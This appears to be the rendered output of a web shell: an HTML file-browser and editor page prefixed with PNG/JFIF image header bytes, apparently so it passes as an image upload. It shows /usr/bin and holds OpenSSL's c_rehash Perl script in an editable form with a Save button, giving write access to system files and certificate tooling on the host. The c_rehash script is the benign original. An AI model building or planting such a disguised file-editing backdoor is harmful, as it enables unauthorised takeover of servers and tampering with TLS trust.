�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fbin%2F'>bin</a>/</p><hr><h3>✏️ Editing: c_rehash</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/env perl

# WARNING: do not edit!
# Generated by Makefile from tools/c_rehash.in
# Copyright 1999-2022 The OpenSSL Project Authors. All Rights Reserved.
#
# Licensed under the Apache License 2.0 (the &quot;License&quot;).  You may not use
# this file except in compliance with the License.  You can obtain a copy
# in the file LICENSE in the source distribution or at
# https://www.openssl.org/source/license.html

# Perl c_rehash script, scan all files in a directory
# and add symbolic links to their hash values.

my $dir = &quot;/etc/ssl&quot;;
my $prefix = &quot;/usr&quot;;

my $errorcount = 0;
my $openssl = $ENV{OPENSSL} || &quot;openssl&quot;;
my $pwd;
my $x509hash = &quot;-subject_hash&quot;;
my $crlhash = &quot;-hash&quot;;
my $verbose = 0;
my $symlink_exists=eval {symlink(&quot;&quot;,&quot;&quot;); 1};
my $removelinks = 1;

##  Parse flags.
while ( $ARGV[0] =~ /^-/ ) {
    my $flag = shift @ARGV;
    last if ( $flag eq &#039;--&#039;);
    if ( $flag eq &#039;-old&#039;) {
        $x509hash = &quot;-subject_hash_old&quot;;
        $crlhash = &quot;-hash_old&quot;;
    } elsif ( $flag eq &#039;-h&#039; || $flag eq &#039;-help&#039; ) {
        help();
    } elsif ( $flag eq &#039;-n&#039; ) {
        $removelinks = 0;
    } elsif ( $flag eq &#039;-v&#039; ) {
        $verbose++;
    }
    else {
        print STDERR &quot;Usage error; try -h.\n&quot;;
        exit 1;
    }
}

sub help {
    print &quot;Usage: c_rehash [-old] [-h] [-help] [-v] [dirs...]\n&quot;;
    print &quot;   -old use old-style digest\n&quot;;
    print &quot;   -h or -help print this help text\n&quot;;
    print &quot;   -v print files removed and linked\n&quot;;
    exit 0;
}

eval &quot;require Cwd&quot;;
if (defined(&amp;Cwd::getcwd)) {
    $pwd=Cwd::getcwd();
} else {
    $pwd=`pwd`;
    chomp($pwd);
}

# DOS/Win32 or Unix delimiter?  Prefix our installdir, then search.
my $path_delim = ($pwd =~ /^[a-z]\:/i) ? &#039;;&#039; : &#039;:&#039;;
$ENV{PATH} = &quot;$prefix/bin&quot; . ($ENV{PATH} ? $path_delim . $ENV{PATH} : &quot;&quot;);

if (! -x $openssl) {
    my $found = 0;
    foreach (split /$path_delim/, $ENV{PATH}) {
        if (-x &quot;$_/$openssl&quot;) {
            $found = 1;
            $openssl = &quot;$_/$openssl&quot;;
            last;
        }
    }
    if ($found == 0) {
        print STDERR &quot;c_rehash: rehashing skipped (&#039;openssl&#039; program not available)\n&quot;;
        exit 0;
    }
}

if (@ARGV) {
    @dirlist = @ARGV;
} elsif ($ENV{SSL_CERT_DIR}) {
    @dirlist = split /$path_delim/, $ENV{SSL_CERT_DIR};
} else {
    $dirlist[0] = &quot;$dir/certs&quot;;
}

if (-d $dirlist[0]) {
    chdir $dirlist[0];
    $openssl=&quot;$pwd/$openssl&quot; if (!-x $openssl);
    chdir $pwd;
}

foreach (@dirlist) {
    if (-d $_ ) {
        if ( -w $_) {
            hash_dir($_);
        } else {
            print &quot;Skipping $_, can&#039;t write\n&quot;;
            $errorcount++;
        }
    }
}
exit($errorcount);

sub copy_file {
    my ($src_fname, $dst_fname) = @_;

    if (open(my $in, &quot;&lt;&quot;, $src_fname)) {
        if (open(my $out, &quot;&gt;&quot;, $dst_fname)) {
            print $out $_ while (&lt;$in&gt;);
            close $out;
        } else {
            warn &quot;Cannot open $dst_fname for write, $!&quot;;
        }
        close $in;
    } else {
        warn &quot;Cannot open $src_fname for read, $!&quot;;
    }
}

sub hash_dir {
    my $dir = shift;
    my %hashlist;

    print &quot;Doing $dir\n&quot;;

    if (!chdir $dir) {
        print STDERR &quot;WARNING: Cannot chdir to &#039;$dir&#039;, $!\n&quot;;
        return;
    }

    opendir(DIR, &quot;.&quot;) || print STDERR &quot;WARNING: Cannot opendir &#039;.&#039;, $!\n&quot;;
    my @flist = sort readdir(DIR);
    closedir DIR;
    if ( $removelinks ) {
        # Delete any existing symbolic links
        foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
            if (-l $_) {
                print &quot;unlink $_\n&quot; if $verbose;
                unlink $_ || warn &quot;Can&#039;t unlink $_, $!\n&quot;;
            }
        }
    }
    FILE: foreach $fname (grep {/\.(pem|crt|cer|crl)$/} @flist) {
        # Check to see if certificates and/or CRLs present.
        my ($cert, $crl) = check_file($fname);
        if (!$cert &amp;&amp; !$crl) {
            print STDERR &quot;WARNING: $fname does not contain a certificate or CRL: skipping\n&quot;;
            next;
        }
        link_hash_cert($fname) if ($cert);
        link_hash_crl($fname) if ($crl);
    }

    chdir $pwd;
}

sub check_file {
    my ($is_cert, $is_crl) = (0,0);
    my $fname = $_[0];

    open(my $in, &quot;&lt;&quot;, $fname);
    while(&lt;$in&gt;) {
        if (/^-----BEGIN (.*)-----/) {
            my $hdr = $1;
            if ($hdr =~ /^(X509 |TRUSTED |)CERTIFICATE$/) {
                $is_cert = 1;
                last if ($is_crl);
            } elsif ($hdr eq &quot;X509 CRL&quot;) {
                $is_crl = 1;
                last if ($is_cert);
            }
        }
    }
    close $in;
    return ($is_cert, $is_crl);
}

sub compute_hash {
    my $fh;
    if ( $^O eq &quot;VMS&quot; ) {
        # VMS uses the open through shell
        # The file names are safe there and list form is unsupported
        if (!open($fh, &quot;-|&quot;, join(&#039; &#039;, @_))) {
            print STDERR &quot;Cannot compute hash on &#039;$fname&#039;\n&quot;;
            return;
        }
    } else {
        if (!open($fh, &quot;-|&quot;, @_)) {
            print STDERR &quot;Cannot compute hash on &#039;$fname&#039;\n&quot;;
            return;
        }
    }
    return (&lt;$fh&gt;, &lt;$fh&gt;);
}

# Link a certificate to its subject name hash value, each hash is of
# the form &lt;hash&gt;.&lt;n&gt; where n is an integer. If the hash value already exists
# then we need to up the value of n, unless its a duplicate in which
# case we skip the link. We check for duplicates by comparing the
# certificate fingerprints

sub link_hash_cert {
    link_hash($_[0], &#039;cert&#039;);
}

# Same as above except for a CRL. CRL links are of the form &lt;hash&gt;.r&lt;n&gt;

sub link_hash_crl {
    link_hash($_[0], &#039;crl&#039;);
}

sub link_hash {
    my ($fname, $type) = @_;
    my $is_cert = $type eq &#039;cert&#039;;

    my ($hash, $fprint) = compute_hash($openssl,
                                       $is_cert ? &quot;x509&quot; : &quot;crl&quot;,
                                       $is_cert ? $x509hash : $crlhash,
                                       &quot;-fingerprint&quot;, &quot;-noout&quot;,
                                       &quot;-in&quot;, $fname);
    chomp $hash;
    $hash =~ s/^.*=// if !$is_cert;
    chomp $fprint;
    return if !$hash;
    $fprint =~ s/^.*=//;
    $fprint =~ tr/://d;
    my $suffix = 0;
    # Search for an unused hash filename
    my $crlmark = $is_cert ? &quot;&quot; : &quot;r&quot;;
    while(exists $hashlist{&quot;$hash.$crlmark$suffix&quot;}) {
        # Hash matches: if fingerprint matches its a duplicate cert
        if ($hashlist{&quot;$hash.$crlmark$suffix&quot;} eq $fprint) {
            my $what = $is_cert ? &#039;certificate&#039; : &#039;CRL&#039;;
            print STDERR &quot;WARNING: Skipping duplicate $what $fname\n&quot;;
            return;
        }
        $suffix++;
    }
    $hash .= &quot;.$crlmark$suffix&quot;;
    if ($symlink_exists) {
        print &quot;link $fname -&gt; $hash\n&quot; if $verbose;
        symlink $fname, $hash || warn &quot;Can&#039;t symlink, $!&quot;;
    } else {
        print &quot;copy $fname -&gt; $hash\n&quot; if $verbose;
        copy_file($fname, $hash);
    }
    $hashlist{$hash} = $fprint;
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fbin'>🔙 Back</a></p>